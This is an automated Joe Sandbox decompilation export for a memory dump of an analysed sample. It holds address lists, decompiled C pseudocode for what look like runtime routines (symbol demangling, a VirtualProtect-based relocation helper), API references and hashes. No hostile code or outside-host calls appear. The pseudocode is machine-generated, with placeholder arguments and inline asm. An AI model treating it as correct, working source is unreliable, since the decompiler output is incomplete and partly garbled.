0x0041fc15
0x0041fc15
0x0041fc1b
0x0041fc1d
0x00000000
0x0041fc23
0x0041fc23
0x0041fc29
0x0041fc2b
0x0041fcc6
0x00000000
0x0041fc31
0x0041fc31
0x0041fc37
0x0041fb96
0x0041fb96
0x0041fb98
0x00000000
0x0041fb9e
0x0041fb9e
0x0041fb9e
0x0041fba1
0x0041fba3
0x00000000
0x0041fba9
0x0041fba9
0x0041fba9
0x0041fba9
0x0041fbac
0x0041fbaf
0x0041fcd0
0x0041fcd4
0x0041fcdb
0x0041fce0
0x0041fce1
0x0041fce4
0x0041fcea
0x0041fcec
0x0041fcf1
0x0041fd40
0x0041fd45
0x0041fd91
0x0041fd99
0x0041fda0
0x0041fda5
0x0041fda8
0x00000000
0x0041fdaa
0x0041fdaa
0x0041fdb2
0x0041fdb9
0x0041fdbe
0x0041fdbe
0x0041fd47
0x0041fd47
0x0041fd4c
0x00000000
0x0041fd4e
0x0041fd4e
0x0041fd53
0x00000000
0x00000000
0x00000000
0x00000000
0x0041fd53
0x0041fd4c
0x0041fcf3
0x0041fcf3
0x0041fcf8
0x0041fd55
0x0041fd55
0x0041fd5d
0x0041fd64
0x0041fd69
0x0041fd6c
0x0041fe15
0x0041fe1d
0x0041fe24
0x0041fe29
0x0041fe2e
0x0041fd72
0x0041fd72
0x0041fd72
0x0041fd74
0x0041fe00
0x0041fe07
0x0041fe09
0x00000000
0x00000000
0x00000000
0x0041fd74
0x0041fcfa
0x0041fcfa
0x0041fcff
0x0041fdc5
0x0041fdca
0x00000000
0x0041fdcc
0x0041fdcc
0x0041fdcc
0x0041fdd4
0x0041fddb
0x0041fde0
0x0041fde3
0x0041fe35
0x0041fe3d
0x0041fe44
0x0041fe49
0x0041fde5
0x0041fde5
0x0041fde7
0x00000000
0x0041fde9
0x0041fde9
0x0041fdf0
0x0041fdf2
0x0041fdf2
0x0041fde7
0x0041fde3
0x0041fd05
0x0041fd05
0x0041fd0d
0x0041fd14
0x0041fd19
0x0041fd1c
0x0041fe4e
0x0041fe56
0x0041fe5d
0x0041fe62
0x0041fd22
0x0041fd22
0x0041fd24
0x0041fd7a
0x0041fd7a
0x0041fd7f
0x0041fd81
0x0041fd87
0x0041fd8b
0x0041fd8e
0x0041fd8f
0x0041fd8f
0x0041fe70
0x0041fd26
0x0041fd26
0x0041fd2d
0x0041fd2f
0x0041fd2f
0x0041fd24
0x0041fd1c
0x0041fcff
0x0041fcf8
0x0041fe12
0x0041fbb5
0x0041fbb5
0x0041fbb5
0x0041fbb8
0x0041fbbe
0x00000000
0x0041fbc4
0x0041fbc4
0x0041fbd0
0x0041fbd0
0x0041fbd2
0x0041fbd2
0x0041fbd6
0x0041fbd6
0x0041fbd9
0x0041fbd9
0x0041fbdf
0x0041fbdf
0x0041fbe5
0x0041fbe8
0x0041fbe8
0x0041fbee
0x0041fbf1
0x0041fc41
0x0041fc41
0x0041fc48
0x0041fc52
0x0041fc5a
0x0041fc5f
0x0041fc61
0x0041fc61
0x0041fc64
0x0041fc6c
0x00000000
0x0041fbf3
0x0041fbf3
0x0041fbf6
0x0041fcbd
0x0041fcc2
0x00000000
0x0041fbfc
0x0041fbfc
0x0041fbff
0x0041fc90
0x0041fc9b
0x0041fc9e
0x0041fca1
0x0041fca3
0x0041fca5
0x0041fca9
0x0041fcae
0x00000000
0x0041fc05
0x0041fc05
0x0041fc09
0x0041fc10
0x00000000
0x0041fc10
0x0041fbff
0x0041fbf6
0x00000000
0x0041fc73
0x0041fc73
0x0041fc76
0x0041fc76
0x0041fc82
0x00000000
0x0041fc82
0x0041fbbe
0x0041fbaf
0x0041fba3
0x0041fb98
0x0041fc2b
0x0041fadf
0x0041fadf
0x0041fadf
0x0041fae4
0x0041fae4
0x0041faea
0x00000000
0x0041faec
0x0041faec
0x0041faec
0x0041faf4
0x0041faf7
0x0041fafb
0x0041fb00
0x0041fb04
0x0041fb13
0x0041fb13
0x0041fb13
0x0041fb18
0x0041fb1e
0x0041fb24
0x0041fb26
0x0041fb2b
0x0041fb2e
0x0041fb34
0x0041fb36
0x00000000
0x00000000
0x0041fb10
0x0041fb10
0x0041fb10
0x0041fb38
0x0041fb3b
0x0041fb41
0x0041fb43
0x00000000
0x0041fb49
0x0041fb4f
0x0041fb52
0x0041fb5b
0x0041fb5e
0x0041fb60
0x0041fb62
0x0041fb79
0x0041fb7b
0x0041fb7b
0x0041fb7e
0x0041fb81
0x0041fb81
0x0041fb90
0x0041fb90
0x0041fb43
0x0041faea
0x0041fad9
0x0041fad1
0x0041fa73
0x0041fa73
0x0041fa7a
0x0041fa7a
0x0041f962
0x0041f96a
0x0041f96d
0x0041f96f
0x0041f972
0x0041f97d
0x0041f986
0x0041f98e
0x0041f996
0x0041f999
0x0041f99d
0x0041f9a3
0x0041f9a8
0x0041fa30
0x0041fa37
0x0041fa3e
0x0041fa42
0x00000000
0x0041f9aa
0x0041f9aa
0x0041f9b4
0x00000000
0x0041f9b6
0x0041f9b9
0x0041f9bc
0x00000000
0x00000000
0x00000000
0x00000000
0x0041f9bc
0x0041f9b4
0x0041f9a8
0x00000000
0x0041f95c
0x0041f9be
0x0041f9cb
0x00000000

APIs

VirtualQuery.KERNEL32 ref: 0041F99D
VirtualProtect.KERNEL32 ref: 0041F9F7
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,005C9F88), ref: 0041FA04

Part of subcall function 004AE5B0: fwrite.MSVCRT ref: 004AE5DF
Part of subcall function 004AE5B0: vfprintf.MSVCRT ref: 004AE5FF
Part of subcall function 004AE5B0: abort.MSVCRT ref: 004AE604
Part of subcall function 004AE5B0: abort.MSVCRT ref: 004AE60C
Part of subcall function 004AE5B0: abort.MSVCRT ref: 004AE611
Part of subcall function 004AE5B0: abort.MSVCRT ref: 004AE616
Part of subcall function 004AE5B0: abort.MSVCRT ref: 004AE61B
Part of subcall function 004AE5B0: abort.MSVCRT ref: 004AE620
Part of subcall function 004AE5B0: abort.MSVCRT(00422CFB), ref: 004AE625
Part of subcall function 004AE5B0: abort.MSVCRT(00422CFB), ref: 004AE62A
Part of subcall function 004AE5B0: abort.MSVCRT(00422CFB), ref: 004AE62F
Part of subcall function 004AE5B0: abort.MSVCRT(00422CFB), ref: 004AE634
Part of subcall function 004AE5B0: abort.MSVCRT(00422CFB), ref: 004AE639
Part of subcall function 004AE5B0: abort.MSVCRT(00422CFB), ref: 004AE63E
Part of subcall function 004AE5B0: abort.MSVCRT(00422CFB), ref: 004AE643
Part of subcall function 004AE5B0: abort.MSVCRT(00422CFB), ref: 004AE648
Part of subcall function 004AE5B0: abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE650
Part of subcall function 004AE5B0: abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE655
Part of subcall function 004AE5B0: abort.MSVCRT(?,?,00000000,?,00000000,76D84D40,00424A29), ref: 004AE65A

Strings

VirtualProtect failed with code 0x%x, xrefs: 0041FA0A
@, xrefs: 0041F9E8

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: abort$Virtual$ErrorLastProtectQueryfwritevfprintf
String ID: VirtualProtect failed with code 0x%x$@
API String ID: 2966409508-2953866262
Opcode ID: 78484aa503053fb671d042bb2f92bb1cdb168ffa39e3e01c3b526f0908949cbf
Instruction ID: 1ba988b91c6f91fc42e3f3fd80ae8f671b8587d75e0e318daba5b26eada072bb
Opcode Fuzzy Hash: 78484aa503053fb671d042bb2f92bb1cdb168ffa39e3e01c3b526f0908949cbf
Instruction Fuzzy Hash: 5F217CB2904701CFD300EF68D98464AFBE0FF84314F048A6EE89887265E338E949CB55

Uniqueness

Uniqueness Score: -1.00%

Function 0041976B Relevance: 7.8, APIs: 4, Strings: 1, Instructions: 315
stringCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E0041976B(signed char* __ebx) {
				signed char* _t171;
				signed char* _t175;
				signed int _t176;
				signed int _t183;
				signed int _t185;
				signed int _t190;
				signed int _t199;
				signed char _t200;
				signed int _t203;
				signed int _t205;
				signed int _t207;
				signed int _t208;
				intOrPtr* _t222;
				signed char* _t224;
				signed int _t226;
				signed int _t230;
				signed int _t232;
				void* _t239;
				signed int _t244;
				signed char _t245;
				void* _t247;
				signed int _t256;
				intOrPtr _t258;
				signed char* _t263;
				intOrPtr _t264;
				signed int _t266;
				signed int _t268;
				intOrPtr _t270;
				signed char* _t272;
				intOrPtr _t274;
				intOrPtr _t277;
				intOrPtr _t281;
				signed int _t283;
				signed char* _t284;
				signed int _t286;
				signed char* _t287;
				signed char _t290;
				signed char* _t292;
				signed char** _t293;

				_t224 = __ebx;
				_t171 =  *(_t290 + 8);
				_t255 =  *(_t290 + 0xc);
				_t293[8] = _t171;
				_t172 =  *_t171;
				_t293[7] =  *(_t290 + 0xc);
				if( *_t171 == 0x31) {
					_t175 =  *(_t293[8][8]);
					_t293[1] = "ad";
					 *_t293 = _t175;
					_t293[9] = _t175;
					_t176 = strcmp(??, ??);
					_t256 = _t293[7];
					_t239 =  *_t256;
					__eflags = _t176;
					if(_t176 != 0) {
						L11:
						__eflags = _t239 - 0x38;
						if(_t239 == 0x38) {
							E0041E950(_t224, _t293[7][8], _t293[6]);
							E0041E8B0(_t224, _t293[8], _t293[6]);
							_t258 =  *((intOrPtr*)(_t290 + 4));
							_t172 = _t293[0xd];
							_t167 = _t258 - 1; // 0x5c22a4
							_t281 = _t167;
							_t255 = _t224[0x11c] - 1;
							goto L1;
						}
						L12:
						_t293[1] = "sZ";
						 *_t293 = _t293[9];
						_t183 = strcmp(??, ??);
						_t283 = _t183;
						__eflags = _t183;
						if(__eflags == 0) {
							_t185 = E004162D0(_t224, _t293[7]);
							__eflags = _t185;
							if(_t185 != 0) {
								while(1) {
									__eflags =  *_t185 - 0x2f;
									if( *_t185 != 0x2f) {
										break;
									}
									__eflags =  *(_t185 + 8);
									if( *(_t185 + 8) == 0) {
										break;
									}
									_t185 =  *(_t185 + 0xc);
									_t283 = _t283 + 1;
									__eflags = _t185;
									if(_t185 == 0) {
										break;
									}
								}
								L47:
								_t293[2] = _t283;
								_t284 =  &(_t293[0x10]);
								_t293[1] = "%d";
								 *_t293 = _t284;
								sprintf(??, ??);
								asm("repne scasb");
								_t190 =  !(_t226 | 0xffffffff) - 1;
								__eflags = _t190;
								_t263 =  &(_t284[_t190]);
								if(_t190 == 0) {
									L53:
									_t264 =  *((intOrPtr*)(_t290 + 4));
									_t172 = _t293[0xd];
									_t159 = _t264 - 1; // 0xfe
									_t281 = _t159;
									_t255 = _t224[0x11c] - 1;
									goto L1;
								}
								_t293[6] = _t290;
								_t292 = _t263;
								do {
									__eflags = _t224[0x100] - 0xff;
									_t266 =  *_t284 & 0x000000ff;
									if(_t224[0x100] == 0xff) {
										_t224[0xff] = 0;
										_t293[1] = 0xff;
										_t293[2] = _t224[0x10c];
										 *_t293 = _t224;
										_t224[0x108]();
										_t148 =  &(_t224[0x128]);
										 *_t148 = _t224[0x128] + 1;
										__eflags =  *_t148;
										_t224[0x100] = 0;
									}
									_t191 = _t224[0x100];
									_t284 =  &(_t284[1]);
									_t152 = _t191 + 1; // 0x1
									_t224[0x100] = _t152;
									_t244 = _t266;
									_t224[_t224[0x100]] = _t244;
									_t224[0x104] = _t244;
									__eflags = _t292 - _t284;
								} while (_t292 != _t284);
								_t290 = _t293[6];
								goto L53;
							}
							goto L47;
						}
						_t230 = 3;
						asm("repe cmpsb");
						asm("sbb al, 0x0");
						if(__eflags == 0) {
							_t286 = 0;
							_t268 = _t293[7];
							while(1) {
								__eflags =  *_t268 - 0x2f;
								if( *_t268 != 0x2f) {
									break;
								}
								_t203 =  *(_t268 + 8);
								__eflags = _t203;
								if(_t203 == 0) {
									break;
								}
								__eflags =  *_t203 - 0x4a;
								if( *_t203 != 0x4a) {
									_t286 = _t286 + 1;
									__eflags = _t286;
									L24:
									_t268 =  *(_t268 + 0xc);
									__eflags = _t268;
									if(_t268 == 0) {
										break;
									}
									continue;
								}
								_t205 = E004162D0(_t224,  *((intOrPtr*)(_t203 + 8)));
								_t247 = 0;
								__eflags = _t205;
								if(_t205 != 0) {
									while(1) {
										__eflags =  *_t205 - 0x2f;
										if( *_t205 != 0x2f) {
											break;
										}
										_t230 =  *(_t205 + 8);
										__eflags = _t230;
										if(_t230 == 0) {
											break;
										}
										_t205 =  *(_t205 + 0xc);
										_t247 = _t247 + 1;
										__eflags = _t205;
										if(_t205 == 0) {
											break;
										}
									}
									L33:
									_t286 = _t286 + _t247;
									goto L24;
								}
								goto L33;
							}
							_t293[2] = _t286;
							_t287 =  &(_t293[0x10]);
							_t293[1] = "%d";
							 *_t293 = _t287;
							sprintf(??, ??);
							asm("repne scasb");
							_t199 =  !(_t230 | 0xffffffff) - 1;
							__eflags = _t199;
							if(_t199 == 0) {
								L39:
								_t270 =  *((intOrPtr*)(_t290 + 4));
								_t172 = _t293[0xd];
								_t129 = _t270 - 1; // 0x5c2106
								_t281 = _t129;
								_t255 = _t224[0x11c] - 1;
								goto L1;
							}
							_t245 = _t224[0x100];
							_t272 =  &(_t287[_t199]);
							do {
								_t232 =  *_t287 & 0x000000ff;
								_t200 = _t245;
								__eflags = _t245 - 0xff;
								if(_t245 == 0xff) {
									_t224[0xff] = 0;
									_t293[6] = _t232;
									_t293[2] = _t224[0x10c];
									_t293[1] = 0xff;
									 *_t293 = _t224;
									_t224[0x108]();
									_t224[0x128] = _t224[0x128] + 1;
									_t232 = _t293[6] & 0x000000ff;
									_t200 = 0;
									__eflags = 0;
								}
								_t245 = _t200 + 1;
								_t287 =  &(_t287[1]);
								_t224[0x100] = _t245;
								_t224[_t200] = _t232;
								_t224[0x104] = _t232;
								__eflags = _t272 - _t287;
							} while (_t272 != _t287);
							goto L39;
						}
						_t207 = E0041E8B0(_t224, _t293[8], _t293[6]);
						asm("repe cmpsb");
						_t208 = _t207 & 0xffffff00 | __eflags > 0x00000000;
						asm("sbb al, 0x0");
						__eflags = _t208;
						if(__eflags == 0) {
							E00418C70(_t224, _t293[7], _t293[6]);
							_t274 =  *((intOrPtr*)(_t290 + 4));
							_t172 = _t293[0xd];
							_t101 = _t274 - 1; // 0x5c22a7
							_t281 = _t101;
							_t255 = _t224[0x11c] - 1;
							goto L1;
						}
						asm("repe cmpsb");
						asm("sbb al, 0x0");
						if(__eflags != 0) {
							goto L8;
						}
						__eflags = _t224[0x100] - 0xff;
						if(_t224[0x100] == 0xff) {
							_t224[0xff] = 0;
							_t293[1] = 0xff;
							_t293[2] = _t224[0x10c];
							 *_t293 = _t224;
							_t224[0x108]();
							_t69 =  &(_t224[0x128]);
							 *_t69 = _t224[0x128] + 1;
							__eflags =  *_t69;
							_t224[0x100] = 0;
						}
						_t74 = _t224[0x100] + 1; // 0x100
						_t224[0x100] = _t74;
						_t224[_t224[0x100]] = 0x28;
						_t224[0x104] = 0x28;
						E00418C70(_t224, _t293[7], _t293[6]);
						__eflags = _t224[0x100] - 0xff;
						if(_t224[0x100] == 0xff) {
							_t224[0xff] = 0;
							_t293[1] = 0xff;
							_t293[2] = _t224[0x10c];
							 *_t293 = _t224;
							_t224[0x108]();
							_t85 =  &(_t224[0x128]);
							 *_t85 = _t224[0x128] + 1;
							__eflags =  *_t85;
							_t224[0x100] = 0;
						}
						_t89 = _t224[0x100] + 1; // 0x100
						_t224[0x100] = _t89;
						_t224[_t224[0x100]] = 0x29;
						_t172 = _t293[0xd];
						_t224[0x104] = 0x29;
						_t95 =  *((intOrPtr*)(_t290 + 4)) - 1; // 0x5c22a7
						_t281 = _t95;
						_t255 = _t224[0x11c] - 1;
						goto L1;
					}
					__eflags = _t239 - 3;
					if(_t239 == 3) {
						_t222 =  *((intOrPtr*)(_t256 + 8));
						__eflags =  *_t222 - 1;
						if( *_t222 == 1) {
							__eflags =  *((intOrPtr*)( *((intOrPtr*)(_t256 + 0xc)))) - 0x29;
							_t223 =  !=  ? _t256 : _t222;
							_t293[7] =  !=  ? _t256 : _t222;
						}
						goto L12;
					}
					goto L11;
				} else {
					__eflags = __eax - 0x33;
					if(__eax != 0x33) {
						__ecx = __esp[0x20];
						__edx = __esp[0x18];
						__eax = __ebx;
						__eax = E0041E8B0(__ebx, __ecx, __edx);
					} else {
						__eflags =  *(__ebx + 0x100) - 0xff;
						if( *(__ebx + 0x100) == 0xff) {
							__eax =  *(__ebx + 0x10c);
							0xff[__ebx] = 0;
							__esp[4] = 0xff;
							__esp[8] =  *(__ebx + 0x10c);
							 *__esp = __ebx;
							__eax =  *((intOrPtr*)(__ebx + 0x108))();
							_t14 = __ebx + 0x128;
							 *_t14 =  *(__ebx + 0x128) + 1;
							__eflags =  *_t14;
							 *(__ebx + 0x100) = 0;
						}
						_t18 =  *(__ebx + 0x100) + 1; // 0x100
						__edx = _t18;
						 *(__ebx + 0x100) = _t18;
						__edx = __esp[0x18];
						 *((char*)(__ebx +  *(__ebx + 0x100))) = 0x28;
						__eax = __esp[0x20];
						 *((char*)(__ebx + 0x104)) = 0x28;
						__ecx =  *(__esp[0x20] + 8);
						__ebx = E00418C70(__ebx, __ecx, __esp[0x18]);
						__eflags =  *(__ebx + 0x100) - 0xff;
						if( *(__ebx + 0x100) == 0xff) {
							__eax =  *(__ebx + 0x10c);
							0xff[__ebx] = 0;
							__esp[4] = 0xff;
							__esp[8] =  *(__ebx + 0x10c);
							 *__esp = __ebx;
							__eax =  *((intOrPtr*)(__ebx + 0x108))();
							_t31 = __ebx + 0x128;
							 *_t31 =  *(__ebx + 0x128) + 1;
							__eflags =  *_t31;
							 *(__ebx + 0x100) = 0;
						}
						__eax =  *(__ebx + 0x100);
						_t35 = __eax + 1; // 0x100
						__edx = _t35;
						 *(__ebx + 0x100) = __edx;
						 *((char*)(__ebx + __eax)) = 0x29;
						 *((char*)(__ebx + 0x104)) = 0x29;
					}
					L8:
					E0041E950(_t224, _t293[7], _t293[6]);
					_t277 =  *((intOrPtr*)(_t290 + 4));
					_t172 = _t293[0xd];
					_t43 = _t277 - 1; // 0x5c22a7
					_t281 = _t43;
					_t255 = _t224[0x11c] - 1;
				}
				L1:
				_t224[0x12c] = _t172;
				 *((intOrPtr*)(_t290 + 4)) = _t281;
				_t224[0x11c] = _t255;
				return _t172;
			}

0x0041976b
0x0041976b
0x0041976e
0x00419771
0x00419775
0x00419777
0x0041977e
0x0041c0ae
0x0041c0b0
0x0041c0b8
0x0041c0bb
0x0041c0bf
0x0041c0c4
0x0041c0c8
0x0041c0ca
0x0041c0cc
0x0041c0d7
0x0041c0d7
0x0041c0da
0x0041d297
0x0041d2a4
0x0041d2a9
0x0041d2ac
0x0041d2b0
0x0041d2b0
0x0041d2b9
0x00000000
0x0041d2b9
0x0041c0e0
0x0041c0e4
0x0041c0ec
0x0041c0ef
0x0041c0f4
0x0041c0f6
0x0041c0f8
0x0041d1ae
0x0041d1b3
0x0041d1b5
0x0041d1d1
0x0041d1d1
0x0041d1d4
0x00000000
0x00000000
0x0041d1c3
0x0041d1c5
0x00000000
0x00000000
0x0041d1c7
0x0041d1ca
0x0041d1cd
0x0041d1cf
0x00000000
0x00000000
0x0041d1cf
0x0041d1d6
0x0041d1d6
0x0041d1da
0x0041d1de
0x0041d1e8
0x0041d1eb
0x0041d1f5
0x0041d1fb
0x0041d1fb
0x0041d1fe
0x0041d201
0x0041d270
0x0041d270
0x0041d273
0x0041d277
0x0041d277
0x0041d280
0x00000000
0x0041d280
0x0041d203
0x0041d207
0x0041d209
0x0041d209
0x0041d213
0x0041d216
0x0041d21e
0x0041d225
0x0041d22d
0x0041d231
0x0041d234
0x0041d23a
0x0041d23a
0x0041d23a
0x0041d241
0x0041d241
0x0041d24b
0x0041d251
0x0041d254
0x0041d257
0x0041d25d
0x0041d25f
0x0041d262
0x0041d268
0x0041d268
0x0041d26c
0x00000000
0x0041d26c
0x00000000
0x0041d1b7
0x0041c107
0x0041c10c
0x0041c111
0x0041c115
0x0041cc2a
0x0041cc2c
0x0041cc3c
0x0041cc3c
0x0041cc3f
0x00000000
0x00000000
0x0041cc41
0x0041cc44
0x0041cc46
0x00000000
0x00000000
0x0041cc48
0x0041cc4b
0x0041cc32
0x0041cc32
0x0041cc35
0x0041cc35
0x0041cc38
0x0041cc3a
0x00000000
0x00000000
0x00000000
0x0041cc3a
0x0041cc52
0x0041cc57
0x0041cc59
0x0041cc5b
0x0041cc71
0x0041cc71
0x0041cc74
0x00000000
0x00000000
0x0041cc60
0x0041cc63
0x0041cc65
0x00000000
0x00000000
0x0041cc67
0x0041cc6a
0x0041cc6d
0x0041cc6f
0x00000000
0x00000000
0x0041cc6f
0x0041cc76
0x0041cc76
0x00000000
0x0041cc76
0x00000000
0x0041cc5d
0x0041cc7a
0x0041cc7e
0x0041cc82
0x0041cc8c
0x0041cc8f
0x0041cc99
0x0041cc9f
0x0041cc9f
0x0041cca2
0x0041cd07
0x0041cd07
0x0041cd0a
0x0041cd0e
0x0041cd0e
0x0041cd17
0x00000000
0x0041cd17
0x0041cca4
0x0041ccaa
0x0041ccad
0x0041ccad
0x0041ccb0
0x0041ccb2
0x0041ccb8
0x0041ccc0
0x0041ccc7
0x0041cccb
0x0041cccf
0x0041ccd7
0x0041ccda
0x0041cce0
0x0041cce7
0x0041ccec
0x0041ccec
0x0041ccec
0x0041ccee
0x0041ccf1
0x0041ccf4
0x0041ccfa
0x0041ccfd
0x0041cd03
0x0041cd03
0x00000000
0x0041ccad
0x0041c12a
0x0041c138
0x0041c13a
0x0041c13d
0x0041c13f
0x0041c141
0x0041c93b
0x0041c940
0x0041c943
0x0041c947
0x0041c947
0x0041c950
0x00000000
0x0041c950
0x0041c155
0x0041c15a
0x0041c15e
0x00000000
0x00000000
0x0041c164
0x0041c16e
0x0041c176
0x0041c17d
0x0041c185
0x0041c189
0x0041c18c
0x0041c192
0x0041c192
0x0041c192
0x0041c199
0x0041c199
0x0041c1ad
0x0041c1b0
0x0041c1ba
0x0041c1c0
0x0041c1c7
0x0041c1cc
0x0041c1d6
0x0041c1de
0x0041c1e5
0x0041c1ed
0x0041c1f1
0x0041c1f4
0x0041c1fa
0x0041c1fa
0x0041c1fa
0x0041c201
0x0041c201
0x0041c211
0x0041c214
0x0041c21a
0x0041c21e
0x0041c222
0x0041c22c
0x0041c22c
0x0041c235
0x00000000
0x0041c235
0x0041c0ce
0x0041c0d1
0x0041d18a
0x0041d18d
0x0041d190
0x0041d199
0x0041d19c
0x0041d19f
0x0041d19f
0x00000000
0x0041d190
0x00000000
0x00419784
0x00419784
0x00419787
0x0041d4cb
0x0041d4cf
0x0041d4d3
0x0041d4d5
0x0041978d
0x0041978d
0x00419797
0x00419799
0x0041979f
0x004197a6
0x004197ae
0x004197b2
0x004197b5
0x004197bb
0x004197bb
0x004197bb
0x004197c2
0x004197c2
0x004197d2
0x004197d2
0x004197d5
0x004197db
0x004197df
0x004197e3
0x004197e7
0x004197ee
0x004197f3
0x004197f8
0x00419802
0x00419804
0x0041980a
0x00419811
0x00419819
0x0041981d
0x00419820
0x00419826
0x00419826
0x00419826
0x0041982d
0x0041982d
0x00419837
0x0041983d
0x0041983d
0x00419840
0x00419846
0x0041984a
0x0041984a
0x00419851
0x0041985b
0x00419860
0x00419863
0x00419867
0x00419867
0x00419870
0x00419870
0x00418e71
0x00418e71
0x00418e77
0x00418e7a
0x00418e8a

APIs

strcmp.MSVCRT ref: 0041C0BF
strcmp.MSVCRT ref: 0041C0EF

Strings

), xrefs: 0041C222

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: strcmp
String ID: )
API String ID: 1004003707-2427484129
Opcode ID: 80bf33900fb11e563dc2c6af2e00ba6ff14c52e55edba414c1124f965af24e2d
Instruction ID: 8ebd0fafadd8c736cf345495c286dcf3d1738899c4054e669fd7fd4f4347c928
Opcode Fuzzy Hash: 80bf33900fb11e563dc2c6af2e00ba6ff14c52e55edba414c1124f965af24e2d
Instruction Fuzzy Hash: 29E11974608242CFCB10CF28C4847AABBE1BF95314F19897AEC894F316D778E885DB95

Uniqueness

Uniqueness Score: -1.00%

Function 00423C8E Relevance: 7.8, APIs: 5, Instructions: 297
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00423C8E(void* __eax, void* __ebx, void* __edi) {
				void* _t207;
				void* _t345;

				_t207 = __eax;
				_t345 = __edi + 1;
			}

0x00423c8e
0x00423c8e

APIs

abort.MSVCRT ref: 00423FD5
ReleaseSemaphore.KERNEL32 ref: 00424070

Memory Dump Source

Source File: 0000000D.00000002.711152433.0000000000401000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.711139798.0000000000400000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711559528.00000000004B6000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.711569831.00000000004B7000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712095510.00000000005B8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712263838.00000000005BB000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712839547.0000000000608000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.712868979.000000000060B000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.713069833.000000000063F000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_fl.jbxd

Similarity

API ID: ReleaseSemaphoreabort
String ID:
API String ID: 2367312703-0
Opcode ID: a52b08df38052004e7fcff9f1a701db7abb931dbedaa3f8548bcd61f30112b75
Instruction ID: f682d798d11d328e5052bc8433e4dc77f920d7c1e68ab9596128497dfa53d953
Opcode Fuzzy Hash: a52b08df38052004e7fcff9f1a701db7abb931dbedaa3f8548bcd61f30112b75
Instruction Fuzzy Hash: DBD14C70B097118FC710CF29E48062ABBF1BF88315F95896EE98997351D738EE45CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0041F1C9 Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 94
stringCOMMON

Download Yara Rule

C-Code - Quality: 67%

			E0041F1C9(void* __eax, signed char* __ebx) {
				signed int _t139;
				intOrPtr _t141;
				signed int _t146;
				signed int _t155;
				signed int _t160;
				void* _t169;
				signed int _t173;
				signed int _t177;
				int _t184;
				signed int _t186;
				signed char* _t190;
				signed int _t194;
				signed char* _t197;
				signed int _t198;
				signed int _t203;
				signed char* _t204;
				signed int _t206;
				signed char* _t210;
				signed char _t213;
				signed int _t214;
				signed int _t218;
				signed int _t223;
				signed int _t224;
				signed int _t226;
				signed int _t227;
				signed int _t229;
				signed int _t233;
				signed int _t235;
				void* _t240;
				signed int _t247;
				signed int _t248;
				signed char* _t249;
				signed int _t250;
				signed char* _t252;
				signed int _t256;
				void* _t257;
				signed char** _t260;
				void* _t261;
				signed int* _t262;
				void* _t264;
				signed int* _t266;

				_t190 = __ebx;
				__edi = 0;
				__eflags =  *((char*)(__ebx + 0xa)) - 0x5f;
				if( *((char*)(__ebx + 0xa)) == 0x5f) {
					__eflags = __al - 0x49;
					__eax = __eax & 0xffffff00 | __al != 0x00000049;
					__eax = __al & 0x000000ff;
					__edi = __eax;
					__edi = __eax + 2;
				}
				 *_t260 = _t190;
				_t139 = strlen(??);
				 *(_t257 - 0x19c) = _t190;
				_t250 = _t139;
				 *(_t257 - 0x194) = 0x11;
				 *(_t257 - 0x198) =  &(_t190[_t139]);
				_t141 = _t250 + _t250;
				 *((intOrPtr*)(_t257 - 0x1b8)) = _t141;
				 *((intOrPtr*)(_t257 - 0x184)) = _t141;
				 *(_t257 - 0x190) = _t190;
